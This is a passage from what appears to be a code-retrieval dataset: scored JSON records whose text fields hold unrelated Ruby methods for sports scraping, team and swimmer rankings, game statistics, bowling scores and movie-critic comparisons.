"text": "def index\n\t @events = @univers.events\n\t \n\t #FOR SORTING\n\t @newarray = Array.new\n\t @country_name_array = Array.new\n\t\t\n\t @events.each do |event|\n\t\t @newarray << event.place.country\n\t\t @country_name_array << event.place.country_name\t\t\n\t\tend\n\t \n\t\t@top_countries = @newarray.uniq\n\t\t@top_countries_name = @country_name_array.uniq\n\t @super_countries = Array.new\n\t\t\n\t \n\t \n\t \n end",
"title": ""
},
{
"docid": "716b5b021733fe218de0a4aca3da4358",
"score": "0.52019596",
"text": "def human_event; end",
"title": ""
},
{
"docid": "7938a91e5dfb2326750e218874d6d824",
"score": "0.5198545",
"text": "def perform(option)\n ##add migration to sport to store an array of league\n\n\n puts \"------------------------------------------\"\n puts \"Starting Job for #{option[:sport]}\"\n puts \"---Starting scrape---\"\n results = SportScraper.scrape_day(option)\n\n puts \"--- Scrape done ---\"\n aa = 0\n b = 0\n c = 0\n results.all.each do |a|\n event = Event.find_by(unique_event_id: a[:unique_id])\n #create an event when it's not there\n if(event.nil?)\n b += 1\n puts \"+ Created: #{a[:unique_id]}\"\n team1 = Team.find_or_create_by(name: a[:team1])\n team2 = Team.find_or_create_by(name: a[:team2])\n hash_ = {team_a: team1, team_b: team2, league: a[:league], status: a[:status],unique_event_id: a[:unique_id],starts_at: a[:date]}\n hash_[:event_date] = EventDate.find_or_create_by(sport: Sport.find_by(name: a[:sport]), date: hash_[:starts_at].strftime(\"%Y-%m-%e\"))\n if(!a[:score].nil?)\n hash_[:scraped_score] = a[:score]\n end\n if(!a[:winner].nil?)\n hash_[:winner] = Team.find_by(name: a[:winner])\n end\n if(!a[:time].nil?)\n hash_[:time] = a[:time]\n end\n Event.create(hash_)\n #already there: just update: score? winner? time? status?\n else\n c += 1\n puts \"/ Updated: #{a[:unique_id]}\"\n prev_state = event.status\n event.update(scraped_score: a[:score], winner: Team.find_by(name: a[:winner]), time: a[:time], status: a[:status])\n if(prev_state == \"Finished\")\n event.update(status: \"Finished\")\n end\n end\n aa += 1\n end\n puts \"OVER #{aa} Events: #{b} Created and #{c} Updated\"\n puts \"\"\n puts \"Job done for #{option[:sport]} PEACE\"\n end",
"title": ""
},
{
"docid": "0bbf40f56a019367a2a1b58b70617ff2",
"score": "0.51912147",
"text": "def supermaster\n @tab_title = I18n.t('team_management.fin_supermaster')\n\n # Find out steam affiliation. Fix-ME\n team_affiliation = @team.team_affiliations.includes(:season).where(\"season_id = 182\").first\n tsc = TeamSupermasterCalculator.new(team_affiliation)\n tot_swimmers = tsc.parse_swimmer_results()\n @team_supermaster_scores = tsc.team_supermaster_dao.sort{|p,n| (n.get_results_count*10000 + n.get_total_score) <=> (p.get_results_count*10000 + p.get_total_score) }\n @full_events_swimmers = tsc.full_events_swimmers\n @ranking_min = 0\n @ranking_max = 9999\n @ranking_context = 9999\n @ranking_range = \"A\"\n\n # Determines the ranking context based on full_events_swimmer count\n # TODO - Store range on DB\n case @full_events_swimmers\n # Range F 25\n when 1..30\n @ranking_min = 1\n @ranking_max = 30\n @ranking_context = 25\n @ranking_range = \"F\"\n # Range E 50\n when 31..55\n @ranking_min = 31\n @ranking_max = 55\n @ranking_context = 50\n @ranking_range = \"E\"\n # Range D 75\n when 56..85\n @ranking_min = 56\n @ranking_max = 85\n @ranking_context = 75\n @ranking_range = \"D\"\n # Range C 100\n when 86..110\n @ranking_min = 86\n @ranking_max = 110\n @ranking_context = 100\n @ranking_range = \"C\"\n # Range B 125\n when 111..140\n @ranking_min = 111\n @ranking_max = 140\n @ranking_context = 125\n @ranking_range = \"B\"\n # Range A more than 125\n else\n @ranking_min = 140\n @ranking_max = 9999\n @ranking_context = 9999\n @ranking_range = \"A\"\n end\n\n end",
"title": ""
},
{
"docid": "6b1c37c0ad4e930f2816ec5785fc2893",
"score": "0.51903975",
"text": "def calculate_team_ranking_score(number_of_meetings = 2, number_of_bests = 3)\n team_ranking_results = []\n events = []\n if @badge.category_type.code != 'U25' &&\n @badge.meetings.distinct.count >= number_of_meetings\n get_results.each do |meeting_individual_result|\n next unless meeting_individual_result.get_scheduled_date.year - @swimmer.year_of_birth >= 25\n\n next if events.include?(meeting_individual_result.event_type.code)\n\n team_ranking_results << meeting_individual_result\n events << meeting_individual_result.event_type.code\n break if team_ranking_results.count == number_of_bests\n end\n end\n BestLimitedRankingDAO.new(team_ranking_results)\n end",
"title": ""
},
{
"docid": "4bdfd3872541f7129b90d45b110d6f24",
"score": "0.51658624",
"text": "def score_game\n self.score = frames.reduce(0) { |sum, frame| sum + score_frame(frame) } \n end",
"title": ""
},
{
"docid": "8097f204e4f4e77345dfe2c912714a75",
"score": "0.5162003",
"text": "def score\n populate_frames.inject(0) {|a,v| a+ v.frame_total}\n end",
"title": ""
},
{
"docid": "7cf1fed304363cf796dadc3fb3575ada",
"score": "0.5157854",
"text": "def gameflow\n \n end",
"title": ""
},
{
"docid": "6b12775ee9940ceaca352746ada4d078",
"score": "0.51574516",
"text": "def calculate_final_score\n self.scores.average(:total_score)\n end",
"title": ""
},
{
"docid": "10f925f8f986ed6cabf35a85302396f9",
"score": "0.51467663",
"text": "def running_average; end",
"title": ""
},
{
"docid": "58456062d1b2ce89a545ee1174a78fe5",
"score": "0.5142157",
"text": "def scores_by_state\n @scores_by_state = PollTaker.aggregate( :fields => [:state, :score.avg], :order => [:state.asc] ).map do |pair|\n [pair[0], pair[1].round(1)]\n end\nend",
"title": ""
},
{
"docid": "d88e92b0a0bc31a75c76d6fe9cf92fd7",
"score": "0.5142005",
"text": "def get_score\n @score ||= calculate_score\n end",
"title": ""
},
{
"docid": "51a08df9c19c627e06c0d0e344f23bd9",
"score": "0.5136305",
"text": "def initialize(meeting_individual_result)\n unless meeting_individual_result&.instance_of?(MeetingIndividualResult)\n raise ArgumentError, 'Enhance individual ranking event score needs a meeting individual result'\n end\n\n @meeting_individual_result = meeting_individual_result\n @event_date = meeting_individual_result.meeting_session.scheduled_date\n @event_type = meeting_individual_result.event_type\n @rank = meeting_individual_result.rank\n @event_points = meeting_individual_result.meeting_individual_points.to_i\n @season = meeting_individual_result.season\n @pool_type = meeting_individual_result.pool_type\n @event_type = meeting_individual_result.event_type\n @gender_type = meeting_individual_result.gender_type\n @category_type = meeting_individual_result.category_type\n @swimmer = meeting_individual_result.swimmer\n\n # TODO: store on DB standard points score definition (100 with no decimals)\n # Should use calculation rules definition\n @performance_points = compute_performance_points(100, 0)\n\n @enhance_points = compute_enhance_points\n end",
"title": ""
},
{
"docid": "e127718f9d0e351aab2910c049bb2249",
"score": "0.5134607",
"text": "def normalize\n unless @hits.empty? then \n max = highest_score\n min = lowest_score\n all.each do |hit| \n if (max == min) then\n hit.score = 1\n else\n hit.score = (hit.score - min)/(max - min)\n end \n end\n sort\n end\n end",
"title": ""
},
{
"docid": "1408810b5b57e6a518fab7cead9cae6a",
"score": "0.51306343",
"text": "def exams_statistics\n end",
"title": ""
},
{
"docid": "ceea0b2896914a79748f3b626a3ea4d7",
"score": "0.513054",
"text": "def set_ponderated_best\n total_time = 0\n result_considered = 0\n result_collected = @best_results.count\n everage_time = 0\n\n # If no results, no action performed\n if result_collected > 0\n # If total best results collected >= (bests_to_be_ignored + max_results)\n # excludes first @bests_to_be_ignored results\n if result_collected >= (@bests_to_be_ignored + @max_results)\n @best_results.each_with_index do |mir, index|\n total_time += mir.get_timing_instance.to_hundreds if index >= @bests_to_be_ignored\n end\n result_considered = @max_results\n else\n @best_results.each do |mir|\n total_time += mir.get_timing_instance.to_hundreds\n end\n result_considered = result_collected\n end\n everage_time = (total_time / result_considered).round(0)\n end\n @ponderated_time = Timing.new(everage_time)\n end",
"title": ""
},
{
"docid": "6d37d0b3eebb9212bccfa6dbe61d1cb1",
"score": "0.5129975",
"text": "def next_scores\n if @last_piece_moved != @computers_piece\n max_scores # computers move\n else\n min_scores # players move\n end\n end",
"title": ""
},
{
"docid": "8cbdbabfdd92d440ead03946a9886bd7",
"score": "0.51273197",
"text": "def run_aggregation\n GRADES.each_with_index do |grade, idx|\n classifier[grade].each_pair do |metric, values|\n all_values = values\n all_values += classifier[GRADES[idx + 1]][metric] if (idx + 1) < GRADES.count\n\n classifier[grade][metric] =\n if all_values.count <= 2\n values.max || 0\n else\n (all_values.sum / all_values.count).round(2)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "510d7e7943d20a14cb0f073437a7c0b4",
"score": "0.5124243",
"text": "def recompute_scores\n point_attribution_all\n Section.all.each do |s|\n \ts.max_score = 0\n \tif !s.fondation?\n \t\ts.problems.each do |p|\n \t\t\tif p.online?\n\t\t \t\t\ts.max_score = s.max_score + p.value\n\t\t \t\tend\n\t\t \tend\n\t\t \ts.chapters.each do |c|\n\t\t \t\tif c.online?\n\t\t \t\t\tc.exercises.each do |e|\n\t\t \t\t\t\tif e.online?\n\t\t \t\t\t\t\ts.max_score = s.max_score + e.value\n\t\t \t\t\t\tend\n\t\t \t\t\tend\n\t\t \t\t\tc.qcms.each do |q|\n\t\t \t\t\t\tif q.online?\n\t\t \t\t\t\t\ts.max_score = s.max_score + q.value\n\t\t \t\t\t\tend\n\t\t \t\t\tend\n\t\t \t\tend\n\t\t \tend\n\t\t end\n \ts.save\n end\n redirect_to users_path\n end",
"title": ""
},
{
"docid": "44536a6f7cc3526bc8daf465656e4aac",
"score": "0.5123317",
"text": "def run ()\n Log4r::NDC.push('Main:')\n\n #Launch each teams scheduler\n @teams.each { |team|\n if team.teamhost == \"localhost\"\n @localteams << {:teamid=>team.teamid, :thr=> Thread.new { team.run(self) }}\n else\n #lookup the connection information for this team and dispatch the team\n end\n }\n\n @scoreStats = Thread.new do\n Log4r::NDC.push('Stats:')\n $log.debug \"Stats Thread Startup\"\n while @STATE != STOP or @STATE != QUIT\n if @STATE == RUN\n $log.debug \"Generating Data\"\n @scoreKeeper.generate_statistics(@gameclock.gametime)\n sleep(@statsResolution)\n elsif @STATE == WAIT or @STATE == READY\n $log.debug \"Sleeping while not in RUN state\"\n sleep\n end\n end\n $log.debug \"Stats Thread Shutdown\"\n end\n\n #Wait till all the teams are ready\n @STATE = READY\n\n #Poll the @INBOX waiting for tasks\n while @STATE != QUIT and message = @INBOX.pop do\n\n case message.signal\n\n #Dump Messages to the Screen only\n when 'CONSOLE'\n puts message.fromid.to_s.yellow + \" \" + message.msg.to_s\n # from = message.fromid.to_s\n # $log.info(from + \": \" + message.msg.to_s)\n\n #Dump Messages to the Screen and into the logfile\n when 'CONSOLELOG'\n puts message.fromid.to_s.yellow + \" \" + message.msg.to_s\n from = message.fromid.to_s\n $log.info(from + \": \" + message.msg.to_s)\n\n #Dump Messages into the logfile only\n when 'LOG'\n from = message.fromid.to_s\n $log.info(from + \": \" + message.msg.to_s)\n\n when 'SCORE'\n #We are receiving a score hash that should be added to the appropriate score group\n timeT = Time.now.to_i\n gametime = message.msg[:gametime]\n group = message.msg[:scoregroup]\n value = message.msg[:value]\n eventid = message.msg[:eventid]\n eventuid = message.msg[:eventuid]\n\n $db.execute(\"INSERT INTO scores VALUES (?,?,?,?,?,?)\", [timeT, gametime, eventid, eventuid, group, value])\n $log.debug(\"Score recorded in db.score\")\n\n\n when 'EVENTLOG'\n #Log that an event was run\n tblArray = [Time.now.to_i,\n message.msg[:starttime],\n message.msg[:endtime],\n message.msg[:handler],\n message.msg[:eventname],\n message.msg[:eventid],\n message.msg[:eventuid],\n message.msg[:custom],\n message.msg[:status]\n ]\n\n $db.execute(\"INSERT INTO events VALUES (?,?,?,?,?,?,?,?,?);\", tblArray);\n $log.debug(\"Event Recorded in db.event\")\n\n when 'COMMAND'\n\n command = message.msg\n\n case command[:command]\n when 'STATE'\n $log.debug \"STATE MSG RECEIVED: #{command[:state]}\"\n set_state(command[:state])\n when :LENGTH\n $log.debug \"Length Change MSG RECEIVED: #{command[:length]}\"\n @gameclock.set_gamelength(command[:length], 'seconds')\n end\n\n when 'STATUS'\n @teams.each { |team|\n team.INBOX << GMessage.new({:fromid=>'Main Thread',:signal=>'STATUS'})\n }\n\n when 'DIE'\n break\n else\n break\n end\n\n end #@INBOX Poll\n\n #wait for all the teams to finish\n $log.debug \"Waiting for Team thread exit\"\n @localteams.each { |team| team[:thr].join }\n $log.debug \"Team thread join complete\"\n\n end",
"title": ""
},
{
"docid": "a4149a7cbaa4b7455044078fa87a4049",
"score": "0.51231676",
"text": "def set_counters\r\n @score_count = 0\r\n @score_total = 0\r\nend",
"title": ""
},
{
"docid": "36b93c537e724ea832eb9ef3790476a0",
"score": "0.5122701",
"text": "def calculate_stats\n # this one gets the anaylyzer\n analyzer_w_most_repeated_word = @analyzers.max_by { |analyzer| analyzer.highest_wf_count }\n #this one gets its highest word count\n @highest_count_across_lines = analyzer_w_most_repeated_word.highest_wf_count\n\n # this one gets all lines that match that highest word count - it will be an array of objects\n # containing one or more objects\n @highest_count_words_across_lines = @analyzers.select { |e| e.highest_wf_count == @highest_count_across_lines }\n\n # return a hash with some useful info\n { top_line: analyzer_w_most_repeated_word, repeat_word_count: @highest_count_across_lines,\n top_line_and_ties: @highest_count_words_across_lines }\n end",
"title": ""
},
{
"docid": "efd94146f3149f92690c134edfe91284",
"score": "0.511721",
"text": "def top\n _exchange(true)\n end",
"title": ""
},
{
"docid": "4e57c69c2b1d164661a3cb159137e1c3",
"score": "0.5102504",
"text": "def score(context)\n raise 'abstract'\n end",
"title": ""
},
{
"docid": "10421e43bf4804ffc59589604a22e2f6",
"score": "0.5102132",
"text": "def hits_prev\n # see PsiBlastJob for comment\n end",
"title": ""
},
{
"docid": "1dfb1a45c965b11ceb44957fc5b775ba",
"score": "0.5093934",
"text": "def score=(_); end",
"title": ""
},
{
"docid": "6f914f72828544e3e7b832ffb282b956",
"score": "0.5093332",
"text": "def show\n @teams =Team.all\n @team_standing = TeamStanding.for_team(@team)\n if @team_standing.nil?\n @team_standing = NullTeamStanding.new\n end\n @students = @team.current_students\n @students_by_seat = @team.student_teams.by_seat\n @quiz_year = QuizYear.new\n @completed_events = @quiz_year.completed_events\n @upcoming_events = @quiz_year.this_yr_events - @quiz_year.completed_events \n @team_quiz = QuizTeam.for_team(@team) #quizzes for the team\n @declared_num_rounds = 6\n @year_team = YearTeam.new(@team)\n @accuracy_percentage = (@year_team.total_accuracy*100.0).round(1)\n @top_four = TeamStanding.show_top_four(@team)\n\n\n #line graph for performances\n @x_axis = YearTeam.find_scored_events_for_year(@quiz_year).map {|e| e.start_date.strftime('%b')}\n #y_axis for team\n @year_quizzes = YearTeam.find_scored_events_for_year(@quiz_year).map\n @events = @year_quizzes.map{ |e| EventTeam.new(@team, e)}\n @performance = @events.map{|e| e.total_points}\n #y_axis for highest team score \n @top_scores = EventSummary.for_division(@team.division).chronological.map{|e| e.max_team_points}\n #y_axis for average team score\n @average_scores = EventSummary.for_division(@team.division).chronological.map{|e| e.avg_team_points}\n\n @performance_chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Team Performance\")\n f.xAxis(:categories => @x_axis)\n f.series(:name => @team.name + \" Performance\", :yAxis => 0, :color => \"#0d47a1\", :data => @performance)\n f.series(:name => \"Top \" + @team.division.name.capitalize[0...-1] + \" Team Scores\", :color => \"#00bcd4\", :yAxis => 0, :data => @top_scores)\n f.series(:name => \"Averaged Team Scores for \"+ @team.division.name.capitalize[0...-1] + \" Division\", :yAxis => 0, :color => \"#a6b8ba\", :data => @average_scores)\n f.yAxis [\n {:title => {:text => \"Quiz Scores\", :margin => 70} }\n ]\n f.chart({:defaultSeriesType=>\"line\"})\n end \n\n #bar graph for individual team members\n @students.each do |s|\n @student_performance = @year_quizzes.map{ |e| EventQuizzer.new(s, e)}.map{|p| p.total_points}\n eval %Q{\n @member_chart#{s.id} = LazyHighCharts::HighChart.new('bar') do |f|\n f.title(:text => \"Individual Member Scores\")\n f.xAxis(:categories => @x_axis)\n f.series(:name => \"Score\", :yAxis => 0, :data => @student_performance)\n f.yAxis(\n :min => 0, :max => 500\n )\n f.chart({:defaultSeriesType=>\"bar\"})\n end\n }\n end\n\n end",
"title": ""
},
{
"docid": "6b7681edf4124442482236344607194f",
"score": "0.50913507",
"text": "def calculate!\n ov = self[:overall]\n ov[:high_night] = {}\n ov[:winners] = {}\n\n self.each do |player_id, st|\n next if player_id == :overall\n\n ## calculate computed stats for player\n st[:nights] += st[:dates].keys.length # if st[:nights] == 0\n st[:high_night] = st[:dates].values.max\n st[:gold_stars] = 1 if st[:nights] == 29\n st[:warps_per_game] = 1.0 * st[:warps] / st[:games] rescue 0\n st[:warps_per_night] = 1.0 * st[:warps] / st[:nights] rescue 0\n st[:games_per_night] = 1.0 * st[:games] / st[:nights] rescue 0\n st[:wins_per_night] = 1.0 * st[:wins] / st[:nights] rescue 0\n st[:wins_per_game] = 1.0 * st[:wins] / st[:games] rescue 0\n\n ## accumulate overall stats\n [:warps, :wins, :cfbs,\n :mystery_factors, :gold_stars]. each do |field|\n ov[field] += st[field]\n end\n [:wimps, :come_ons].each do |field|\n if st[field]\n ov[field] ||= 0\n ov[field] += st[field]\n end\n end\n # nights won calculation\n st[:dates].each do |date,warps|\n ov[:dates][date] += warps\n hnd = ov[:high_night][date] ||= {:players => [], :warps => 0}\n if hnd[:warps] < warps\n hnd[:players] = [player_id]\n hnd[:warps] = warps\n elsif hnd[:warps] == warps\n hnd[:players].push(player_id)\n end\n end\n end\n\n ## update overall computed stats\n st = self[:overall]\n ov[:games] = ov[:wins]\n ov[:nights] = ov[:dates].keys.length\n ov[:nights] = 29 if ov[:nights] == 0 ## provide sane default\n ov[:nights] = ov[:nights_real] if ov[:nights_real]\n ov[:warps_per_game] = 1.0 * ov[:warps] / ov[:games] rescue 0\n ov[:warps_per_night] = 1.0 * ov[:warps] / ov[:nights] rescue 0\n ov[:games_per_night] = 1.0 * ov[:games] / ov[:nights] rescue 0\n ov[:high_night].each do |date,h|\n h[:players].each {|p| self[p][:nights_won] += 1}\n end\n\n ## determine per-stat winners\n # fuck everyone but the top 50 OR those with 50+ warps\n # the 51 below is not a bug\n sorted_players = self.keys.sort{|a,b| self[b][:warps] <=> self[a][:warps]}\n fifty_plus = self.keys.select{|p| self[p][:warps] >= 50}\n eligible = (sorted_players[0..51] | fifty_plus).\n inject(Hash.new(false)) {|acc,p| acc.merge(p => true)}\n [:warps, :games, :nights, :wins, :nights_won, :cfbs,\n :come_ons, :wimps, :warps_per_game, :warps_per_night,\n :games_per_night, :wins_per_game, :high_night].each do |field|\n owf = ov[:winners][field] = {:players => [], :value => 0}\n self.each do |player, st|\n next if player == :overall\n next unless eligible[player]\n if st[field].to_f > owf[:value]\n owf[:players] = [player]\n owf[:value] = st[field]\n elsif st[field] == owf[:value]\n owf[:players].push(player)\n end\n end\n end\n\n ## mark per-stat winners\n ov[:winners].each do |field, win|\n win[:players].each do |player|\n self[player][:winner][field] = true\n end\n end\n\n self\n end",
"title": ""
},
{
"docid": "e466911efd28dd86af23b68685708cea",
"score": "0.5084176",
"text": "def rank_top_teams # DO NOT USE THIS METHOD, outdated, slow\n @top_teams = {}\n @top_teams = Score.in_challenge(self.id).teams_in_all_divisions.limit(5).\n order(\"sum_points DESC, MAX(#{Score.table_name}.\n earned_at) DESC\").sum(:points) \n return @top_teams\n end",
"title": ""
},
{
"docid": "a7c8f00604b6aafc6fe6ba0a90ba27b3",
"score": "0.5074967",
"text": "def score\n @score || calculate_score\n end",
"title": ""
},
{
"docid": "ac9ace10f6284e81b9668ae800b2dcf0",
"score": "0.50716573",
"text": "def read_scores\n end",
"title": ""
},
{
"docid": "289679337f9397e8876c3dc7240a2c31",
"score": "0.5068152",
"text": "def index \n @pending_events = @coin.events.pending\n @accepted_events = @coin.events.active\n @rejected_events = @coin.events.inactive\n today = Date.current \n @upcoming_events = @accepted_events.where('start_time > ?', today)\n @past_events = @accepted_events.where('start_time < ?', today)\n @coin.events.each do |e|\n e.send('upvotes=', e.get_upvotes.size)\n e.send('downvotes=', e.get_downvotes.size)\n end\n end",
"title": ""
},
{
"docid": "576ab06bdea547309704d5cdee991c3b",
"score": "0.5065687",
"text": "def calculate_average(params, current_user, ret_fp = false)\n sport_name = self.sport.name\n played_games_ids = StatEvent.where(\"player_stats_id='#{params[:player_ids]}' AND quantity != 0\").\n pluck('DISTINCT game_stats_id')\n games = Game.where(stats_id: played_games_ids)\n last_year_ids = games.where(season_year: (Time.now.utc - 4).year - 1).map(&:stats_id).uniq\n this_year_ids = games.where(season_year: (Time.now.utc - 4).year).select { |i| i.stat_events.any? }.map(&:stats_id).uniq\n events = StatEvent.where(player_stats_id: params[:player_ids],\n game_stats_id: played_games_ids)\n if games.last and sport_name == 'MLB'\n recent_games = games.where(season_year: (Time.now.utc - 4).year).order(\"game_time DESC\").first(50)\n else\n recent_games = games.order(\"game_time DESC\").first(5)\n end\n recent_ids = recent_games.map(&:stats_id)\n recent_ids.uniq!\n recent_events = events.where(game_stats_id: recent_ids)\n last_year_events = events.where(game_stats_id: last_year_ids)\n this_year_events = events.where(game_stats_id: this_year_ids)\n recent_stats = SportStrategy.for(sport_name).collect_stats(recent_events, params[:position])\n last_year_stats = SportStrategy.for(sport_name).collect_stats(last_year_events, params[:position])\n this_year_stats = SportStrategy.for(sport_name).collect_stats(this_year_events, params[:position])\n total_stats = SportStrategy.for(sport_name).collect_stats(events, params[:position])\n\n if params[:market_id] == 'undefined'\n bid_ids = []\n else\n bid_ids = current_bid_ids(params[:market_id], self.id, current_user.id) if current_user\n bid_ids ||= []\n end\n\n data = []\n total_stats.each do |k, v|\n if games.last.sport.name == 'MLB'\n ip_per_game = 9.0\n #last_year_points = last_year_stats[k] || 0.to_d\n #this_year_points = (this_year_stats[k] || 0).to_d/this_year_ids.count if this_year_ids.count != 0\n if k == 'Era (earned run avg)'.to_sym\n recent = ip_per_game * this_year_stats[k].to_f/this_year_stats[:'Inning Pitched'].to_f\n history_val = if self.total_games.zero?\n recent\n else\n era = (last_year_stats[k].to_f*self.total_games + this_year_stats[k].to_f)\n ip = this_year_stats[:'Inning Pitched'].to_f + last_year_stats[:'Inning Pitched'].to_f*self.total_games\n ip_per_game * era/ip\n end\n else\n history_val = ((last_year_stats[k] || 0.to_d)*self.total_games + (this_year_stats[k] || 0).to_d)/(this_year_ids.count + self.total_games)\n #history = last_year != 0 ? [last_year * (last_year - 2 * this_year)/last_year + this_year, 0].max : this_year\n recent = (recent_stats[k] || 0.to_d)/recent_ids.count if recent_ids.count != 0\n recent ||= 0\n end\n\n if last_year_ids.count == 0\n Honeybadger.notify(\n :error_class => \"NoLastYearMLBStats\",\n :error_message => \"NoLastYearMLBStats: #{Player.where(stats_id: params[:player_ids]).name} #{self.name}\",\n :parameters => params\n )\n end\n\n if this_year_stats[:'Inning Pitched'].to_i > 15 or self.stat_events.where(:activity => 'At Bats').select { |st| st.game.game_time.year == Time.now.year }.size > 50\n koef = 0.2\n else\n # batter\n if (self.positions.first.try(:position) =~ /(C|1B|DH|2B|3B|SS|OF)/).present?\n koef = 0.2*(self.stat_events.where(:activity => 'At Bats').select { |st| st.game.game_time.year == Time.now.year }.size/50.0)\n else\n koef = 0.2*(this_year_stats[:'Inning Pitched'].to_i/15.0)\n end\n end\n\n value = koef.to_d * recent.to_f + (1.0 - koef).to_d * history_val.to_f\n\n value = this_year_stats[k].to_f/this_year_ids.count if k != 'Era (earned run avg)'.to_sym && (self.legionnaire? || self.total_games.zero?)\n return value if ret_fp && k == 'Fantasy Points'.to_sym\n else\n value = v.to_d / BigDecimal.new(played_games_ids.count)\n value = value * 0.7 + (recent_stats[k] || 0.to_d)/recent_ids.count * 0.3\n end\n\n value = value.round(2)\n next if value == 0\n\n bid_less = false\n bid_more = false\n if bid_ids.any?\n less = EventPrediction.where(event_type: k.to_s, diff: 'less', individual_prediction_id: bid_ids).count\n more = EventPrediction.where(event_type: k.to_s, diff: 'more', individual_prediction_id: bid_ids).count\n value = with_formula_value(value, bid_ids.count, more, less)\n bid_less = true if less != 0\n bid_more = true if more != 0\n end\n\n less_pt = IndividualPrediction.get_pt_value(value, 'less')\n more_pt = IndividualPrediction.get_pt_value(value, 'more')\n\n data << { name: k, value: value, bid_less: bid_less, bid_more: bid_more, less_pt: less_pt, more_pt: more_pt }\n end\n\n adjust_wins(data, this_year_stats)\n end",
"title": ""
},
{
"docid": "131db71ef0974c0ff4642c5ac6707d6b",
"score": "0.5063927",
"text": "def top\n end",
"title": ""
},
{
"docid": "a3206c05dda349b329c75d8767371f6e",
"score": "0.5060171",
"text": "def initialize\n set_name # generally not a good idea to include logic in initialize method, so will encapsulate that logic into set_name method\n @score = 0\n end",
"title": ""
},
{
"docid": "b0c9b39b8f34cf6575e7aa8639a64384",
"score": "0.5058196",
"text": "def get_5_positive_grain\n\t\tplaceholder_review = CriticMovie.new\n\t\tplaceholder_review.score = 0 \n\t\ttop_5 \t\t\t=\t[placeholder_review,placeholder_review,placeholder_review,placeholder_review,\n\t\t\tplaceholder_review,placeholder_review,placeholder_review,placeholder_review,placeholder_review,\n\t\t\tplaceholder_review]\n\t\tpositive_grain_array = []\n\t\tcritics_movies_hash = {}\n\t\tcritic_id = params[:id]\n\t\treviews = Critic.find(critic_id).critic_movies\n\n\t\t# create array of movies to pull batch from because it's super expensive to hit the database 1300 times per user request\n\t\tmovies_array = []\n\t\treviews.each do | review |\n\t\t\tmovies_array.push(review.movie_id)\n\t\tend\n\n\t\t# Get an array of movie objects that the critic has seen\n\t\tcritics_movies = Movie.find(movies_array)\n\t\t# [{some movie}, {some other movie}]\n\n\t\t# create a hash with movie id as key so we can grab the metacritic score to create our new object\n\t\tcritics_movies.each do | movie | \n\t\t\tcritics_movies_hash[movie.id] = {\"metacritic_score\": movie.metacritic_score, \"movie_name\": movie.title.titleize}\n\t\tend\n\n\t\t# Create the unsorted result\n\t\t# reviews are all the objects showing the critics id, the movies id, and the score of the critic\n\t\t# we iterate through each of those reviews\n\t\t# we assign the movie's id to a variable\n\t\t# we then print object from the critics_movie_hash showing metascore and movie name\n\t\t# we then store the metacritic score from that object into a variable named metascore\n\t\t# we then store the movie name from that has into a movie name variable\n\t\t# we then print the critic score, movie name, metascore, movie id, calculate the difference\n\t\t# for critic and meta and then create an object that we will then sort through to get the top or bottom\n\t\t# 5 to then return as JSON\n\t\treviews.each do | review |\n\t\t\tmovie_id \t\t= \treview.movie_id\n\t\t\tmovie_name \t\t= critics_movies_hash[movie_id][:movie_name]\n\t\t\tcritic_score \t= review.score\n\t\t\tmetascore \t\t= critics_movies_hash[movie_id][:metacritic_score]\n\n\t\t\t# If the review is less than two years ago, it can be evaluated for our top 5 \n\t\t\tif review.date >= 3.year.ago\n\t\t\t\t# get the lowest value index and compare the review against that\n\t\t\t\ttop_5.sort_by! { |k| k[:score]}\n\t\t\t\tif critic_score > top_5[0][:score]\n\t\t\t\t\tmovie_name \t\t= critics_movies_hash[movie_id][:movie_name]\n\t\t\t\t\tcritic_score \t= review.score\n\t\t\t\t\tmetascore \t\t= critics_movies_hash[movie_id][:metacritic_score]\n\t\t\t\t\trecommend_object = { \"movie_name\": movie_name, score: critic_score,\n\t\t\t\t\t\t\"metascore\": metascore }\n\t\t\t\t\ttop_5[0] = recommend_object\n\t\t\t\tend\n\t\t\tend\t\n\t\t\t# if the score is 0 then that means it was a TBD meaning not enough critic votes and it was converted to 0\n\t\t\t# we do not want this in our array because it will create artificially high or low against the grain scores that are false so\n\t\t\t# we skip this loop iteration and evaluate the next one\n\t\t\tif metascore == 0\n\t\t\t\tnext\n\t\t\tend\n\t\t\tdifference\t= critic_score - metascore \n\t\t\tsingle_movie = {\"movie_name\": movie_name, \"metascore\": metascore, \"critic_score\": critic_score, \"difference\": difference, }\n\t\t\tpositive_grain_array.push(single_movie)\n\t\t\t# {movie_id: 3, critic_score: 34, metascore: 50, difference: -16, }\n\t\tend\n\n\t\t# if there were not enough reviews to establish a metacritic score it's set to TBD which translates to 0 when it's scraped into the \n\t\t# \tint type. So if the review is 0 we reject it\n\t\ttop_5.reject! {| review | review[:score] == 0} \n\n\t\t# Sort the result, put it into an array and convert to json\n\t\tpositive_grain_array.sort_by! { |k| k[:difference]}\n\t\ttop_5.sort_by! { |k| k[:score]}.reverse!\n\t\tnegative_grain = positive_grain_array.first(5)\n\t\tnegative_grain.reverse!\n\t\tpositive_grain = positive_grain_array.pop(5)\n\t\tnegative_positive = positive_grain.reverse! + negative_grain.reverse! + top_5\n\t\tnegative_positive = negative_positive.to_json\n\n\n\t\trender :json => negative_positive\n\tend",
"title": ""
},
{
"docid": "41558e1805e013a047958dbb06fca57b",
"score": "0.5057019",
"text": "def interview_committee_score\n interview_committee_score_object.total_score rescue nil\n end",
"title": ""
},
{
"docid": "0172f8423baae4569c0bb5997dad677f",
"score": "0.5050807",
"text": "def show\n if(@event.popularity.nil?)\n @event.popularity = 0\n end\n @event.popularity +=1\n @event.save \n end",
"title": ""
},
{
"docid": "3e73bac56c1a6c700dc2c0f65545d203",
"score": "0.5048402",
